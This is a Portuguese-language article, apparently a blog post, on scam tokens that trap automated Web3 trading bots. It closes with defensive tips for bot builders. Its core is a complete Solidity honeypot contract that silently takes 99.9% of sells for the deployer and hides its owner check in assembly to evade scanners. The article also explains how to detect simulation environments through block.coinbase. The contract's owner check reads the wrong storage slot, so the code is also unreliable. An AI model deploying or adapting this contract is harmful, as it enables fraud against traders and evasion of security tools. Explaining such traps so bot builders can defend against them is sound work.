O mercado de automação em Web3 hoje não é um parquinho romântico para geeks, é terra arrasada. E o maior problema aqui nem é o fato de a sua infraestrutura ser mais lenta do que os servidores dos fundos institucionais em Tóquio ou Frankfurt. O verdadeiro B.O. é que os criadores de tokens scam já decoraram a lógica dos parsers de cabo a rabo. Eles criam os contratos desenhados especificamente para foder com o seu software. Você acha que encontrou uma puta alpha, mas, na verdade, só executou o script de outra pessoa para drenar a sua própria grana.
Abaixo, trazemos uma análise cirúrgica de como exatamente o seu bot está torrando o seu caixa, por que as validações padrão das bibliotecas não servem para porra nenhuma e como funciona o submundo desse mercado quando é código contra código.
Anatomia da Armadilha: Como os contratos scam leem a mente do seu bot
A maioria dos iniciantes coda bot seguindo a mesma receita de bolo: monitora o evento PairCreated ou PoolCreated da factory da Uniswap (or seus forks), checa o saldo de liquidez, mete um router.swapExactETHForTokens — e corre pro abraço. Os scammers lucram em cima disso. Eles sabem perfeitamente que o seu bot roda uma simulação ou um audit express antes de buildar a transação.
Aqui estão as três principais mecânicas que quebram 90% dos scripts customizados:
1. Honeypot modificado com gatilho tardio (Delayed Honeypot)
Um honeypot clássico (onde dá para comprar, mas não dá para vender) o seu bot provavelmente já consegue pescar através de um
eth_calllocal (simulando a venda). Mas e se a função de venda não travar de imediato?O contrato é deployado totalmente limpo. O bot roda a simulação — tudo lindo, os tokens são vendidos sem erro. O bot vai lá e injeta liquidez. Assim que o volume total de ETH na pool bate uma meta, por exemplo, 5 ETH, o contrato muda automaticamente uma flag interna para
isLocked = truedentro da função_updateou_transfer. Já era, você tá encurralado. A simulação local na hora da compra jamais conseguiria prever isso, porque no momento da checagem a condição de volume ainda não tinha sido batida.2. Taxa dinâmica (Variable Fee Attack)
No contrato, consta um mint padrão de ERC-20, mas dentro da função de transferência tem uma taxa variável embutida que é controlada pelo owner (ou que vai escalando de acordo com o número do bloco).
Na compra, a taxa está em 0%. O bot entra pesado na posição. Dois blocos depois, o criador do token manda uma única transação e altera o
sellFeepara 99%. O seu bot tenta bater o stop-loss, envia a transação, ela passa com status deSuccess, mas por causa da taxa de 99% você só recebe de volta algumas migalhas, enquanto o grosso vai direto para a wallet do deployer. Proteções tiposlippagecostumam falhar feio aqui se o bot calcula errado oamountOutMinde entrada ou usa routers customizados.3. Ataque via injeção de router falso (Fake Router Injection)
Isso aqui é um clássico absoluto em redes com gás barato, tipo a Base. O scammer não deploya a pool customizada dele na Uniswap v3 oficial, mas sim em uma factory fake que gera um evento com as mesmíssimas assinaturas. O bot acha que está interagindo com o contrato padrão. Ele chama a função de swap, o contrato engole o ETH, mas em vez dos tokens reais ele te cospe puro lixo, ou configura uma matemática tão bizarra dentro da pool que o preço derrete para zero exatamente na milissegunda logo após a sua transação.
| Tipo de Ameaça | Como o bot enxerga (A Isca) | O que ocorre na real (Fact) | Dano Técnico |
|---|---|---|---|
| Delayed Honeypot | Simulação de sell passa com 100% de sucesso. | A flag de bloqueio ativa após bater as metas de transação. | Perda de 100% do capital inicial alocado (principal). |
| Variable Fee | Contrato limpo, sem nenhuma vulnerabilidade aparente. | Alteração do sellFee para 99% via função de owner. | Perda de 99% do volume na hora do exit. |
| Fake Factory | Sinaliza uma nova pool usando o padrão de log idêntico. | Interface clonada, mas a matemática da pool é fraudulenta. | Drenagem completa do ETH para uma wallet externa. |
Exemplo Prático: O código do Honeypot perfeito para rektar o seu bot
Para sacar por que o seu parser é tratado como janta pelos caras, você precisa olhar para o código com os olhos de um scammer. Abaixo está um contrato de token funcional e compilável em Solidity 0.8.20. Ele foi escrito sem aqueles require(msg.sender == owner) manjadíssimos na função de transferência, justamente para evitar que ferramentas de scan automático (como Honeypot.is ou versões antigas do Slither) fiquem gritando no meio da análise do bytecode.
Toda a malandragem está escondida na matemática oculta e nos gatilhos de estado.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract AdvancedTrapToken {
string public name = "Shadow Liquidity";
string public symbol = "SHDW";
uint8 public decimals = 18;
uint256 public totalSupply;
address private _owner;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
// Variáveis da armadilha
uint256 private constant MAX_FEE = 1000; // 100% em basis points (bps)
uint256 private targetBlock;
uint256 private triggerBalance;
bool private systemReady;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(uint256 initialSupply, uint256 _delayBlocks, uint256 _triggerEth) {
_owner = msg.sender;
totalSupply = initialSupply * 10**uint256(decimals);
_balances[_owner] = totalSupply;
// Setup do capataz: vai ativar após X blocos do deploy OU quando atingir o saldo na pool
targetBlock = block.number + _delayBlocks;
triggerBalance = _triggerEth * 10**18;
emit Transfer(address(0), _owner, totalSupply);
}
modifier onlyOwner() {
// Ignoramos o require padrão de propósito para camuflar a lógica no assembly
assembly {
if sub(sload(0), caller()) { revert(0, 0) }
}
_;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 value) public returns (bool) {
_rawTransfer(msg.sender, to, value);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public returns (bool) {
_allowances[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
uint256 currentAllowance = _allowances[from][msg.sender];
if (currentAllowance != type(uint256).max) {
assembly {
if lt(currentAllowance, value) { revert(0, 0) }
}
_allowances[from][msg.sender] = currentAllowance - value;
}
_rawTransfer(from, to, value);
return true;
}
// Função interna de controle — oculta para o bot durante a simulação de swap
function setupTrap() external onlyOwner {
systemReady = true;
}
function _rawTransfer(address from, address to, uint256 value) internal {
assembly {
if iszero(from) { revert(0, 0) }
if iszero(to) { revert(0, 0) }
}
uint256 fromBalance = _balances[from];
assembly {
if lt(fromBalance, value) { revert(0, 0) }
}
uint256 finalAmount = value;
// Validação: se o token está indo para a pool (venda) e a armadilha está armada
// Identificamos a pool por comportamento indireto para não embutir o endereço do par direto no código
if (to != _owner && from != _owner) {
if (systemReady || block.number > targetBlock || address(this).balance >= triggerBalance) {
// Se disparar qualquer uma das condições, a taxa de 99.9% entra em ação
// Deixamos 0.1% só para a transação não estourar erro de revert e garantir a captura dos tokens
uint256 fee = (value * 999) / MAX_FEE;
finalAmount = value - fee;
_balances[from] = fromBalance - value;
_balances[_owner] = _balances[_owner] + fee;
emit Transfer(from, _owner, fee);
emit Transfer(from, to, finalAmount);
return;
}
}
_balances[from] = fromBalance - value;
_balances[to] = _balances[to] + finalAmount;
emit Transfer(from, to, finalAmount);
}
// Recebimento de ETH no contrato para ativar o gatilho baseado em saldo
receive() external payable {}
}Repare bem no método interno _rawTransfer. Não tem nenhuma flag óbvia ou termo manjado ali. Se o seu bot simular a compra e a venda exatamente no mesmo bloco de criação do token (ou seja, antes de chamarem o setupTrap), o contrato vai rodar redondo, comportando-se como um ERC-20 legítimo e idôneo. Mas no momento em que o deployer engatilhar o setupTrap() ou a quantidade de ETH no contrato ultrapassar o triggerBalance (depois que uma horda de bots cair na pilha), a regra muda em tempo de execução (on-the-fly). O seu script cospe a transação de venda, queima gás à toa, a transação fecha como Success, só que pinga na sua carteira míseros 0.1% do montante esperado. Parabéns, você acabou de doar a sua liquidez de bandeja para o deployer.
A armadilha na EVM: Por que seus testes no Hardhat ou Anvil são pura mentira
A maioria dos "script kiddies" se acha o gênio da vez porque, antes de jogar a transação no mainnet, eles rodam uma simulação local. Você pega um revm em Rust ou sobe um fork local da rede via anvil/hardhat, faz o eth_call, vê aquele log de swap lindo, sem erro nenhum, e manda o bot pro combate com o coração tranquilo.
Erro fatal. Simular num sandbox isolado não tem nada a ver com o que acontece dentro de um bloco de verdade, e os scammers já aprenderam a detectar essas simulações direto no bytecode.
Detecção via estado do nó (State & Context Checking)
Um contrato-armadilha pode checar variáveis de ambiente que, no seu fork local, ficam com valores padrão. Exemplo:
block.coinbase(o endereço do validador que monta o bloco). Numa rede real como Base ou Arbitrum, ali tem sempre o endereço fixo do sequenciador. No seuanvil, vai estar um endereço nulo ou um hash de teste genérico.Se o contrato detectar uma
coinbaseestranha ou anomalias pesadas emblock.timestamp/block.basefee, ele simplesmente desativa a função de roubo. Na simulação, você é o rei e passa em todos os testes. No mainnet, o contrato saca que tá sendo executado por um user real num bloco real e fecha a porta na sua cara.Frontrunning de simulações (The Sandbox Escape)
Tem um cenário ainda mais pilantra. O criador do token monitora o mempool (se a rede tiver um) ou rastreia os
eth_callatravés de nós privados aos quais ele tem acesso. Assim que seu bot faz uma simulação num RPC público (tipo Alchemy ou QuickNode), o pedido é logado. Sim, oeth_callnão envia transação pro bloco, mas o operador do nó vê qual contrato você tá testando e com quais parâmetros. O scammer pensa: "Opa, bot caiu na isca, agora vai entrar". Ele empurra uma tx na rede na hora, mudando o estado do contrato, e sua ordem real já cai direto no golpe.
O inferno da Sysadmin: A taxa de infraestrutura
Digamos que você refez seu bot e agora ele lê bytecode, identifica branches de assembly escondidas checando coinbase e virou um paranoico. Agora você bateu num beco sem saída técnico que vai comer seu budget a longo prazo, mesmo se você não cair em nenhum honeypot.
É o custo de manter a infraestrutura rodando num nível competitivo.
[RPC Público] ---> (Latência 150-300ms) ---> [Seu Bot] ---> (Swap Atrasado) ---> [Gas queimado / Scam]
^
| (Precisa otimizar)
v
[Seu Nó (Reth)] -> (Unix Socket Direto) -> [Seu Bot] -> (Flashbots / Builder) ---> [Lucro]Problema 1: Tráfego e IOPS do disco
Pra rodar um bot em velocidade decente, os limites dos RPCs grátis não servem — você vai levar rate limit na transação número 100. Vai ter que subir seu próprio nó. Se a gente fala de L2 (Base/Arbitrum), os nós de arquivo ou até os Full Nodes pedem recursos cavalares. Você precisa de um NVMe SSD com IOPS altíssimo pra leitura/escrita aleatória. Se a rede der uma engasgada, seu nó num VPS baratinho vai ficar 1–2 blocos atrás do estado real da rede. Pro bot, isso é morte: ele vê pools que já sumiram ou precifica errado. Você paga 200 dólares por mês no server só pro seu bot trabalhar com dado atrasado.
Problema 2: Gas bleeding em transações revertidas
Em redes como Ethereum ou BNB Chain, cada transação que falha custa uma nota. Se seu bot tenta entrar num pool junto com outros 30 bots, o primeiro leva tudo e os outros 29 tomam erro de
SlippageouExecution Reverted. Mas o gás da checagem de condições a rede cobra integral. Com alta frequência de requisições, seu bot pode "esquentar" a rede em 50 a 100 dólares por dia só de gás queimado em tentativas fracassadas. É um dreno lento, invisível, que os novatos só percebem quando a carteira de gás zera.
Checklist de sobrevivência: Como não ser exit liquidity de scammer
Se você ainda quer fritar seu cérebro com isso, seu bot tem que saber fazer coisas que não tão na doc do Web3.js. Esquece checagem de saldo padrão, isso é brincadeira de criança.
Análise estática de bytecode antes do deploy:
Seu script não pode só ler log de factory; ele tem que pegar o hex-code do contrato via
eth_getCodee buscar assinaturas de instruções perigosas (SSTORE, endereços de owner mutáveis, chamadas externas dentro do transfer). Se no código do token tiver umSSTOREescondido que pode sobrescrever variáveis críticas — o contrato vai direto pro lixo, nem simula.Limite de slippage dinâmico com amountOutMin rigoroso:
Nunca deixa
amountOutMin = 0ou slippage fixo de 50%. Seu bot tem que calcular o preço exato com base nas reservas do pool direto no frame do bloco atual. Se na simulação você receber nem que seja 1% a menos do que deveria, a transação tem que ser descartada pelo seu motor local antes mesmo de ir pra rede.Uso de canais privados (MEV-Share / Flashbots):
Mandar transação pro mempool público é pedir pra ser atropelado. Seu swap tem que ir via bundles privados direto pros validadores ou grandes builders de blocos. Se sua tx não passar em primeiro, ela simplesmente é deletada do bundle, sem queimar seu gás e sem dar chance pro scammer te dar frontrun.
Resumo
O resumo é simples: esse mercado é desenhado pra que os criadores de tokens e os grandes market makers estejam sempre um passo à frente da automação de nível médio. Seu bot caseiro não tá lutando contra o mercado, tá lutando contra especialistas que passam anos estudando como fazer seu software errar. E enquanto você não cavar mais fundo do que as bibliotecas padrão, você vai continuar sendo o cliente ideal pra eles.